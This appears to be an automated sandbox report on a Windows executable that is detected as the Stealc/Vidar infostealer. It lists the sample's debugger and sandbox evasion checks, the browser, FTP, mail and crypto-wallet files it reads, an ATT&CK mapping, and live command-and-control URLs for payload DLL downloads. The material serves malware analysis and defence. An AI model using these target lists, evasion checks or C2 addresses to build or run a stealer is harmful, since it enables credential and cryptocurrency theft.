Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-59417
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58242

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C635FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C635FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006F45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_006F45C0

Source: C:\Users\user\Desktop\file.exe

0_2_00709860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00709750 mov eax, dword ptr fs:[00000030h]

0_2_00709750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00707850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00707850

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C60B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C60B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6868, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00709600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00709600

Source: file.exe, file.exe, 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: tProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C60B341 cpuid

0_2_6C60B341

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00707B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00706920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00706920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00707850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00707850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00707A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00707A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.6f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1686260675.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1964639333.000000000121E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6868, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6868, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__
Source: file.exe	String found in binary or memory: Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__
Source: file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.json
Source: file.exe	String found in binary or memory: Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: .indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|*.wallet\|1\|Coinomi\|1\|\Coinomi\Coin
Source: file.exe	String found in binary or memory: Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__
Source: file.exe	String found in binary or memory: Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.&o

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6868, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.6f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1686260675.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1964639333.000000000121E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6868, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6868, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	345 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/0d60be0de163924d/nss3.dllp	file.exe, 00000000.00000002.1964639333.0000000001262000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1807507704.00000000012EF000.00000004.00000020.00020000.00000000.sdmp, IIJDBGDG.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	KEHDBAEGIIIEBGCAAFHIDHDBFB.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	file.exe, 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1807507704.00000000012EF000.00000004.00000020.00020000.00000000.sdmp, IIJDBGDG.0.dr	false	URL Reputation: safe	unknown
